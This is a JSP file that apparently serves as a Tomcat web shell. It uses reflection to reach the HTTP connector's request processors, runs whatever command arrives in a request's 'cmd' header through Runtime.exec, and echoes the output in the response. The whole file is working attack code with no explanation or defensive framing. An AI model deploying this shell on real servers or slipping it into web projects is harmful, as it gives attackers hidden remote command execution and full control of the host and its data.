<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%

Object obj = Thread.currentThread();

java.lang.reflect.Field field = obj.getClass().getSuperclass().getDeclaredField("group");

field.setAccessible(true);

obj = field.get(obj);

field = obj.getClass().getDeclaredField("threads");

field.setAccessible(true);

obj = field.get(obj);

Thread[] threads = (Thread[])obj;

label:for(Thread thread : threads){

try{

if((thread.getName().contains("http-apr") && thread.getName().contains("Poller"))

|| (thread.getName().contains("http-bio") && thread.getName().contains("AsyncTimeout"))

|| (thread.getName().contains("http-nio") && thread.getName().contains("Poller"))) {

field = thread.getClass().getDeclaredField("target");

field.setAccessible(true);

obj = field.get(thread);

field = obj.getClass().getDeclaredField("this$0");

field.setAccessible(true);

obj = field.get(obj);

try{

field = obj.getClass().getDeclaredField("handler");

}catch (NoSuchFieldException e){

field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");

}

field.setAccessible(true);

obj = field.get(obj);

try{

field = obj.getClass().getSuperclass().getDeclaredField("global");

}catch(NoSuchFieldException e){

field = obj.getClass().getDeclaredField("global");

}

field.setAccessible(true);

obj = field.get(obj);

field = obj.getClass().getDeclaredField("processors");

field.setAccessible(true);

obj = field.get(obj);

java.util.List processors = (java.util.List) obj;

for (Object o : processors) {

field = o.getClass().getDeclaredField("req");

field.setAccessible(true);

obj = field.get(o);

org.apache.coyote.Request req = (org.apache.coyote.Request) obj;

String cmd = req.getHeader("cmd");

if (cmd != null) {

String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();

bc.setBytes(res.getBytes(), 0, res.getBytes().length);

req.getResponse().doWrite(bc);

break label;

}

}

}

}catch(Exception e){

e.printStackTrace();

}

}

%>